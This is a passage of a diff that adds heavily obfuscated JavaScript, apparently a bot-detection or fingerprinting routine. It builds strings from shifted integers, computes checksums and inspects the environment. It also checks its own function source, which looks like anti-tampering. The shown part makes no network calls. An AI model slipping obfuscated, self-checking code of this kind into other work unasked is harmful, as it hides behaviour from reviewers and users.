_$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$P_ += _$Ov + } + _$Qv = _$ge + _$P + _$z + _$N + _$G + _$Z; + _$V_ = _$Qv; + _$Wv = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = []; + _$t = _$c; + for (_$o = 0; _$o < 10; _$o++) { + _$c = _$t; + _$v = _$LC; + _$s = _$o; + _$n = 6; + _$f = _$s + _$n; + _$c[_$v](_$f) + } + _$c = _$t; + _$v = 4; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 6; + _$k = _$n[_$f]; + _$b = _$s + _$k; + _$i = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 7; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 6; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 8; + _$s = _$i; + _$n = _$t; + _$f = 4; + _$k = _$n[_$f]; + _$b = _$s / _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + if (_$f) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f + } + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 0; + _$s = _$c[_$v]; + _$g = _$s; + _$c = _$t; + _$v = 8; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 0; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 4; + _$s = _$i; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$q_ = _$Wv; + _$Yv = _$Cr + _$U + _$O + _$W + _$Y + _$Ja + _$Xa; + _$H_ = _$Yv; + _$Ov = _$H_; + _$Pv = _$PC; + _$Gv = _$Ov[_$Pv]; + _$x_ = _$Gv; + _$Zv = 0; + _$aL = _$Zv; + _$Qv = []; + _$eL = _$Qv; + _$Qv = _$V_; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 4; + _$Pv = _$Yv / _$Ov; + _$B_ = _$Pv; + for (_$rL = 0; _$rL < _$B_; _$rL++) { + _$Qv = _$H_; + _$Wv = _$V_; + _$Yv = _$_C; + _$Ov = _$aL; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$q_(_$Qv, _$Pv); + _$$_ = _$Gv; + _$aL++; + _$Qv = _$H_; + _$Wv = _$V_; + _$Yv = _$_C; + _$Ov = _$aL; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$q_(_$Qv, _$Pv); + _$J_ = _$Gv; + _$aL++; + _$Qv = _$H_; + _$Wv = _$V_; + _$Yv = _$_C; + _$Ov = _$aL; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$q_(_$Qv, _$Pv); + _$F_ = _$Gv; + _$aL++; + _$Qv = _$H_; + _$Wv = _$V_; + _$Yv = _$_C; + _$Ov = _$aL; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$q_(_$Qv, _$Pv); + _$X_ = _$Gv; + _$aL++; + _$Qv = _$eL; + _$Wv = _$rL; + _$Yv = _$$_; + _$Ov = _$x_; + _$Pv = _$Yv * _$Ov; + _$Gv = _$x_; + _$Zv = _$Pv * _$Gv; + _$Ev = _$x_; + _$_v = _$Zv * _$Ev; + _$Vv = _$J_; + _$qv = _$x_; + _$Hv = _$Vv * _$qv; + _$xv = _$x_; + _$Bv = _$Hv * _$xv; + _$Xv = _$_v + _$Bv; + _$Fv = _$F_; + _$$v = _$x_; + _$es = _$Fv * _$$v; + _$ts = _$Xv + _$es; + _$ds = _$X_; + _$Ms = _$ts + _$ds; + _$Qv[_$Wv] = _$Ms + } + _$Qv = _$BC; + _$B_ = _$Qv; + for (_$cL = 0; _$cL < _$eL.length; _$cL++) { + _$Qv = _$eL; + _$Wv = _$cL; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$B_ += _$Ov + } + _$Qv = _$oZ; + _$Wv = _$NE; + _$Yv = _$y_; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = 1; + _$Gv = -_$Pv; + _$Zv = _$Ov == _$Gv; + _$Ev = _$Zv; + if (!_$Ev) { + _$ks = _$oZ; + _$Ns = _$n_; + _$Hs = _$CR; + _$xs = _$ks[_$Ns](_$Hs); + _$wf = 1; + _$df = -_$wf; + _$Ev = _$xs != _$df + } + _$_v = _$Ev; + if (!_$_v) { + _$Mf = _$oZ; + _$If = _$dR; + _$Af = _$qE; + _$Sf = _$Mf[_$If](_$Af); + _$mf = 1; + _$Tf = -_$mf; + _$_v = _$Sf != _$Tf + } + _$Vv = _$_v; + if (!_$Vv) { + _$jf = _$oZ; + _$Cf = _$tR; + _$Df = _$PR; + _$Kf = _$jf[_$Cf](_$Df); + _$Qf = 1; + _$Wf = -_$Qf; + _$Vv = _$Kf != _$Wf + } + _$qv = _$Vv; + if (!_$qv) { + _$Yf = _$oZ; + _$Uf = _$QE; + _$Of = _$OE; + _$Pf = _$Yf[_$Uf](_$Of); + _$Gf = 1; + _$Nf = -_$Gf; + _$qv = _$Pf != _$Nf + } + _$Hv = _$qv; + if (!_$Hv) { + _$Zf = _$oZ; + _$zf = _$uR; + _$Ef = _$P_; + _$Rf = _$Zf[_$zf](_$Ef); + _$_f = 1; + _$Lf = -_$_f; + _$Hv = _$Rf != _$Lf + } + _$xv = _$Hv; + if (!_$xv) { + _$xv = _$oZ[_$B_](_$o_) != -1 + } + _$Bv = _$xv; + if (!_$Bv) { + _$Bv = _$oZ[_$bR](_$K_) != -1 + } + _$Xv = _$Bv; + if (!_$Xv) { + _$Xv = _$oZ[_$SR](_$WR) != -1 + } + _$Fv = _$Xv; + if (!_$Fv) { + _$Fv = _$oZ[_$aR](_$I_) != -1 + } + _$$v = _$Fv; + if (!_$$v) { + _$$v = _$SE.length > 35 + } + _$es = _$$v; + if (!_$es) { + _$es = _$oZ.length > 125 + } + _$ts = _$es; + if (!_$ts) { + _$ts = _$RN.length > 10 && _$kZ && _$kZ[_$RE] && (_$kZ[_$FR][_$vR](_$T_) != -1 || _$kZ[_$XE][_$h_](_$jE) != -1) + } + if (_$ts) { + _$Qv = 1; + _$vL = _$Qv; + _$Wv = 0; + _$sL = _$Wv; + _$Yv = _$OW++; + _$nL = _$Yv; + _$Qv = _$nL; + _$Wv = 6056; + _$Yv = 3245; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 63009; + _$Zv = 13712; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 323077; + _$qv = 89797; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$nL = _$xv; + _$Qv = _$nL; + _$Wv = 314349; + _$Yv = 81069; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$fL = _$Pv; + _$Gv = _$fL; + _$Zv = 20; + _$Ev = 59; + _$_v = _$Zv + _$Ev; + _$Vv = _$vL; + _$qv = _$_v - _$Vv; + _$Hv = 1; + _$xv = _$qv + _$Hv; + _$Bv = _$Gv * _$xv; + _$Xv = _$vL; + _$Fv = _$Bv + _$Xv; + _$tL = _$Fv; + _$Qv = _$sL; + _$Wv = _$tL; + _$Yv = _$Qv ^ _$Wv; + _$PY = _$Yv + } + _$Qv = _$IY; + _$Wv = _$LC; + _$Yv = _$PY; + _$Ov = _$MY; + _$Pv = _$wY++; + _$Gv = _$Ov[_$Pv]; + _$Zv = _$Yv ^ _$Gv; + _$Qv[_$Wv](_$Zv); + _$Qv = _$nl; + _$iL = _$Qv; + _$Wv = 1; + _$oL = _$Wv; + _$Qv = _$oL; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$oL = _$Yv; + _$Qv = 1; + _$iL = _$Qv; + _$Qv = _$BC; + _$kL = _$Qv; + _$Qv = _$oL; + _$iL = _$Qv; + _$Qv = 17152; + _$Wv = 17408; + _$Yv = 16640; + _$Ov = 21504; + _$Pv = 16640; + _$Gv = 21248; + _$Zv = 25856; + _$Ev = 25344; + _$_v = 29696; + _$Vv = 26880; + _$qv = 28416; + _$Hv = 28160; + _$xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv]; + _$oL = _$xv; + for (_$bL = 0; _$bL < _$oL.length; _$bL++) { + _$Qv = _$kL; + _$Wv = _$oL; + _$Yv = _$bL; + _$Ov = _$Wv[_$Yv]; + _$Pv = 8; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$kL = _$Ev + } + _$Qv = _$oL; + _$Wv = _$LC; + _$Yv = _$iL; + _$Ov = _$Qv[_$Wv](_$Yv); + _$oL = _$Ov; + _$Qv = _$sl; + _$lL = _$Qv; + _$Wv = 1; + _$hL = _$Wv; + _$Qv = _$hL; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$hL = _$Yv; + _$Qv = 1; + _$lL = _$Qv; + _$Qv = _$BC; + _$gL = _$Qv; + _$Qv = _$hL; + _$lL = _$Qv; + _$Qv = 3552; + _$Wv = 3136; + _$Yv = 3392; + _$Ov = 3232; + _$Pv = 3168; + _$Gv = 3712; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$hL = _$Zv; + for (_$uL = 0; _$uL < _$hL.length; _$uL++) { + _$Qv = _$gL; + _$Wv = _$hL; + _$Yv = _$uL; + _$Ov = _$Wv[_$Yv]; + _$Pv = 5; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$gL = _$Ev + } + _$Qv = _$hL; + _$Wv = _$LC; + _$Yv = _$lL; + _$Ov = _$Qv[_$Wv](_$Yv); + _$hL = _$Ov; + _$Qv = _$BW; + _$Wv = _$kL; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$gL; + _$Pv = _$Yv === _$Ov; + _$pL = _$Pv; + _$Qv = _$IY; + _$Wv = _$LC; + _$Yv = _$IW; + _$Ov = _$MY; + _$Pv = _$wY++; + _$Gv = _$Ov[_$Pv]; + _$Zv = _$Yv ^ _$Gv; + _$Qv[_$Wv](_$Zv); + _$Qv = _$IY; + _$Wv = _$LC; + _$Yv = _$oY; + _$Ov = _$MY; + _$Pv = _$wY++; + _$Gv = _$Ov[_$Pv]; + _$Zv = _$Yv ^ _$Gv; + _$Qv[_$Wv](_$Zv); + _$Qv = 0; + _$yL = _$Qv; + _$Wv = arguments; + _$wL = _$Wv; + _$Yv = _$vl; + _$dL = _$Yv; + _$Ov = 1; + _$ML = _$Ov; + _$Qv = _$ML; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$ML = _$Yv; + _$Qv = 1; + _$dL = _$Qv; + _$Qv = _$BC; + _$IL = _$Qv; + _$Qv = _$ML; + _$dL = _$Qv; + _$Qv = 12672; + _$Wv = 12416; + _$Yv = 13824; + _$Ov = 13824; + _$Pv = 12928; + _$Gv = 12928; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$ML = _$Zv; + for (_$AL = 0; _$AL < _$ML.length; _$AL++) { + _$Qv = _$IL; + _$Wv = _$ML; + _$Yv = _$AL; + _$Ov = _$Wv[_$Yv]; + _$Pv = 7; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$IL = _$Ev + } + _$Qv = _$ML; + _$Wv = _$LC; + _$Yv = _$dL; + _$Ov = _$Qv[_$Wv](_$Yv); + _$ML = _$Ov; + _$Qv = _$IL; + _$SL = _$Qv; + _$Qv = _$wL; + if (_$Qv) { + _$Qv = _$wL; + _$Wv = _$SL; + _$Yv = _$Qv[_$Wv]; + _$wL = _$Yv + } + _$Qv = _$cl; + _$mL = _$Qv; + _$Wv = 1; + _$TL = _$Wv; + _$Qv = _$TL; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$TL = _$Yv; + _$Qv = 1; + _$mL = _$Qv; + _$Qv = _$BC; + _$jL = _$Qv; + _$Qv = _$TL; + _$mL = _$Qv; + _$Qv = 928; + _$Wv = 888; + _$Yv = 664; + _$Ov = 928; + _$Pv = 912; + _$Gv = 840; + _$Zv = 880; + _$Ev = 824; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$TL = _$_v; + for (_$CL = 0; _$CL < _$TL.length; _$CL++) { + _$Qv = _$jL; + _$Wv = _$TL; + _$Yv = _$CL; + _$Ov = _$Wv[_$Yv]; + _$Pv = 3; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$jL = _$Ev + } + _$Qv = _$TL; + _$Wv = _$LC; + _$Yv = _$mL; + _$Ov = _$Qv[_$Wv](_$Yv); + _$TL = _$Ov; + _$Qv = _$jL; + _$SL = _$Qv; + _$Qv = _$wL; + if (_$Qv) { + _$Qv = _$wL; + _$Wv = _$SL; + _$Yv = _$Qv[_$Wv](); + _$wL = _$Yv + } + _$Qv = _$rl; + _$DL = _$Qv; + _$Wv = 1; + _$KL = _$Wv; + _$Qv = _$KL; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$KL = _$Yv; + _$Qv = 1; + _$DL = _$Qv; + _$Qv = _$BC; + _$QL = _$Qv; + _$Qv = _$KL; + _$DL = _$Qv; + _$Qv = 860160; + _$Wv = 901120; + _$Yv = 819200; + _$Ov = 827392; + _$Pv = 983040; + _$Gv = 647168; + _$Zv = 835584; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$KL = _$Ev; + for (_$WL = 0; _$WL < _$KL.length; _$WL++) { + _$Qv = _$QL; + _$Wv = _$KL; + _$Yv = _$WL; + _$Ov = _$Wv[_$Yv]; + _$Pv = 13; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$QL = _$Ev + } + _$Qv = _$KL; + _$Wv = _$LC; + _$Yv = _$DL; + _$Ov = _$Qv[_$Wv](_$Yv); + _$KL = _$Ov; + _$Qv = _$el; + _$YL = _$Qv; + _$Wv = 1; + _$UL = _$Wv; + _$Qv = _$UL; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$UL = _$Yv; + _$Qv = 1; + _$YL = _$Qv; + _$Qv = _$BC; + _$OL = _$Qv; + _$Qv = _$UL; + _$YL = _$Qv; + _$Qv = 49664; + _$Wv = 58368; + _$Yv = 52736; + _$Ov = 59904; + _$Pv = 55808; + _$Gv = 51712; + _$Zv = 56320; + _$Ev = 59392; + _$_v = 58880; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$UL = _$Vv; + for (_$PL = 0; _$PL < _$UL.length; _$PL++) { + _$Qv = _$OL; + _$Wv = _$UL; + _$Yv = _$PL; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$OL = _$Ev + } + _$Qv = _$UL; + _$Wv = _$LC; + _$Yv = _$YL; + _$Ov = _$Qv[_$Wv](_$Yv); + _$UL = _$Ov; + _$Qv = _$al; + _$GL = _$Qv; + _$Wv = 1; + _$NL = _$Wv; + _$Qv = _$NL; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$NL = _$Yv; + _$Qv = 1; + _$GL = _$Qv; + _$Qv = _$BC; + _$ZL = _$Qv; + _$Qv = _$NL; + _$GL = _$Qv; + _$Qv = 24832; + _$Wv = 29184; + _$Yv = 26368; + _$Ov = 29952; + _$Pv = 27904; + _$Gv = 25856; + _$Zv = 28160; + _$Ev = 29696; + _$_v = 29440; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$NL = _$Vv; + for (_$zL = 0; _$zL < _$NL.length; _$zL++) { + _$Qv = _$ZL; + _$Wv = _$NL; + _$Yv = _$zL; + _$Ov = _$Wv[_$Yv]; + _$Pv = 8; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$ZL = _$Ev + } + _$Qv = _$NL; + _$Wv = _$LC; + _$Yv = _$GL; + _$Ov = _$Qv[_$Wv](_$Yv); + _$NL = _$Ov; + _$Qv = _$$b; + _$EL = _$Qv; + _$Wv = 1; + _$RL = _$Wv; + _$Qv = _$RL; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$RL = _$Yv; + _$Qv = 1; + _$EL = _$Qv; + _$Qv = _$BC; + _$_L = _$Qv; + _$Qv = _$RL; + _$EL = _$Qv; + _$Qv = 13440; + _$Wv = 14080; + _$Yv = 12800; + _$Ov = 12928; + _$Pv = 15360; + _$Gv = 10112; + _$Zv = 13056; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$RL = _$Ev; + for (_$LL = 0; _$LL < _$RL.length; _$LL++) { + _$Qv = _$_L; + _$Wv = _$RL; + _$Yv = _$LL; + _$Ov = _$Wv[_$Yv]; + _$Pv = 7; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$_L = _$Ev + } + _$Qv = _$RL; + _$Wv = _$LC; + _$Yv = _$EL; + _$Ov = _$Qv[_$Wv](_$Yv); + _$RL = _$Ov; + _$Qv = _$D + _$Q + _$K + _$ie; + _$$L = _$Qv; + _$Qv = _$$L; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$VL = _$Yv; + _$Qv = []; + _$aV = _$Qv; + for (_$eV = 0; _$eV < _$VL; _$eV++) { + _$Qv = _$$L; + _$Wv = _$OC; + _$Yv = _$eV; + _$Ov = _$Qv[_$Wv](_$Yv); + _$qL = _$Ov; + _$Qv = _$qL; + _$Wv = 65536; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$qL; + _$Ns = 1114111; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$aV; + _$Wv = _$LC; + _$Yv = _$qL; + _$Ov = 18; + _$Pv = _$Yv >> _$Ov; + _$Gv = 7; + _$Zv = _$Pv & _$Gv; + _$Ev = 240; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$aV; + _$Wv = _$LC; + _$Yv = _$qL; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$aV; + _$Wv = _$LC; + _$Yv = _$qL; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$aV; + _$Wv = _$LC; + _$Yv = _$qL; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$qL; + _$Wv = 2048; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$qL; + _$Ns = 65535; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$aV; + _$Wv = _$LC; + _$Yv = _$qL; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 15; + _$Zv = _$Pv & _$Gv; + _$Ev = 224; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$aV; + _$Wv = _$LC; + _$Yv = _$qL; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$aV; + _$Wv = _$LC; + _$Yv = _$qL; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$qL; + _$Wv = 128; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$qL; + _$Ns = 2047; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$aV; + _$Wv = _$LC; + _$Yv = _$qL; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 31; + _$Zv = _$Pv & _$Gv; + _$Ev = 192; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$aV; + _$Wv = _$LC; + _$Yv = _$qL; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$aV; + _$Wv = _$LC; + _$Yv = _$qL; + _$Ov = 255; + _$Pv = _$Yv & _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + } + } + _$Qv = _$aV; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$HL = _$Yv; + _$Qv = _$HL; + _$Wv = 2; + _$Yv = _$Qv / _$Wv; + _$HL = _$Yv; + _$Qv = []; + _$rV = _$Qv; + _$Qv = 0; + _$xL = _$Qv; + for (_$cV = 0; _$cV < _$HL; _$cV++) { + _$Qv = _$aV; + _$Wv = _$xL; + _$Yv = _$Qv[_$Wv]; + _$FL = _$Yv; + _$Qv = _$aV; + _$Wv = _$xL; + _$Yv = 1; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$JL = _$Pv; + _$Qv = _$xL; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$xL = _$Yv; + _$Qv = _$FL; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$FL = _$Yv; + _$Qv = _$JL; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$JL = _$Yv; + _$Qv = _$JL; + _$Wv = 19; + _$Yv = _$Qv * _$Wv; + _$Ov = _$FL; + _$Pv = _$Yv + _$Ov; + _$XL = _$Pv; + _$Qv = _$XL; + _$Wv = 11; + _$Yv = _$Qv ^ _$Wv; + _$BL = _$Yv; + _$Qv = _$rV; + _$Wv = _$cV; + _$Yv = _$BL; + _$Qv[_$Wv] = _$Yv + } + _$Qv = _$BC; + _$vV = _$Qv; + for (_$iV = 0; _$iV < _$rV.length; _$iV++) { + _$Qv = _$rV; + _$Wv = _$iV; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$dc + _$Mc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$sV = _$Gv; + _$Qv = _$sV; + _$Wv = _$LS; + _$Yv = /^1+?(?=0)/; + _$Ov = _$Qv[_$Wv](_$Yv); + _$nV = _$Ov; + _$Qv = _$nV; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$sV; + _$Ns = _$PC; + _$Hs = _$ks[_$Ns]; + _$xs = 8; + _$Wv = _$Hs === _$xs + } + if (_$Wv) { + _$Qv = _$nV; + _$Wv = 0; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$PC; + _$Pv = _$Yv[_$Ov]; + _$fV = _$Pv; + _$Qv = _$rV; + _$Wv = _$iV; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$dc + _$Mc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$_S; + _$Ev = 7; + _$_v = _$fV; + _$Vv = _$Ev - _$_v; + _$qv = _$Gv[_$Zv](_$Vv); + _$tV = _$qv; + for (_$oV = 0; _$oV < _$fV; _$oV++) { + _$Qv = _$rV; + _$Wv = _$oV; + _$Yv = _$iV; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$gr + _$ur; + _$Zv = 2; + _$Ev = _$Pv[_$Gv](_$Zv); + _$_v = _$_S; + _$Vv = 2; + _$qv = _$Ev[_$_v](_$Vv); + _$tV += _$qv + } + _$Qv = _$tV; + _$Wv = 2; + _$Yv = parseInt(_$Qv, _$Wv); + _$Ov = _$bW(_$Yv); + _$vV += _$Ov; + _$Qv = _$fV; + _$Wv = 1; + _$Yv = _$Qv - _$Wv; + _$iV += _$Yv + } else { + _$Qv = _$rV; + _$Wv = _$iV; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$vV += _$Ov + } + } + _$Qv = _$wL; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$wL; + _$Ns = _$vV; + _$Hs = _$ZL; + _$xs = _$ks[_$Ns](_$Hs); + _$wf = 1; + _$df = -_$wf; + _$Wv = _$xs != _$df + } + _$Yv = _$Wv; + if (_$Yv) { + _$Mf = _$wL; + _$If = _$QL; + _$Af = 10; + _$Sf = _$bW(_$Af); + _$mf = _$Mf[_$If](_$Sf); + _$Tf = 1; + _$jf = -_$Tf; + _$Yv = _$mf == _$jf + } + _$Ov = _$Yv; + if (_$Ov) { + _$Cf = _$wL; + _$Df = _$_L; + _$Kf = _$OL; + _$Qf = _$Cf[_$Df](_$Kf); + _$Wf = 1; + _$Yf = -_$Wf; + _$Ov = _$Qf != _$Yf + } + if (_$Ov) { + _$Qv = _$wL; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$yL = _$Yv + } + _$Qv = _$Jb; + _$kV = _$Qv; + _$Wv = 1; + _$bV = _$Wv; + _$Qv = _$bV; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$bV = _$Yv; + _$Qv = 1; + _$kV = _$Qv; + _$Qv = _$BC; + _$lV = _$Qv; + _$Qv = _$bV; + _$kV = _$Qv; + _$Qv = 536; + _$Wv = 544; + _$Yv = 520; + _$Ov = 672; + _$Pv = 520; + _$Gv = 664; + _$Zv = 808; + _$Ev = 792; + _$_v = 928; + _$Vv = 840; + _$qv = 888; + _$Hv = 880; + _$xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv]; + _$bV = _$xv; + for (_$hV = 0; _$hV < _$bV.length; _$hV++) { + _$Qv = _$lV; + _$Wv = _$bV; + _$Yv = _$hV; + _$Ov = _$Wv[_$Yv]; + _$Pv = 3; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$lV = _$Ev + } + _$Qv = _$bV; + _$Wv = _$LC; + _$Yv = _$kV; + _$Ov = _$Qv[_$Wv](_$Yv); + _$bV = _$Ov; 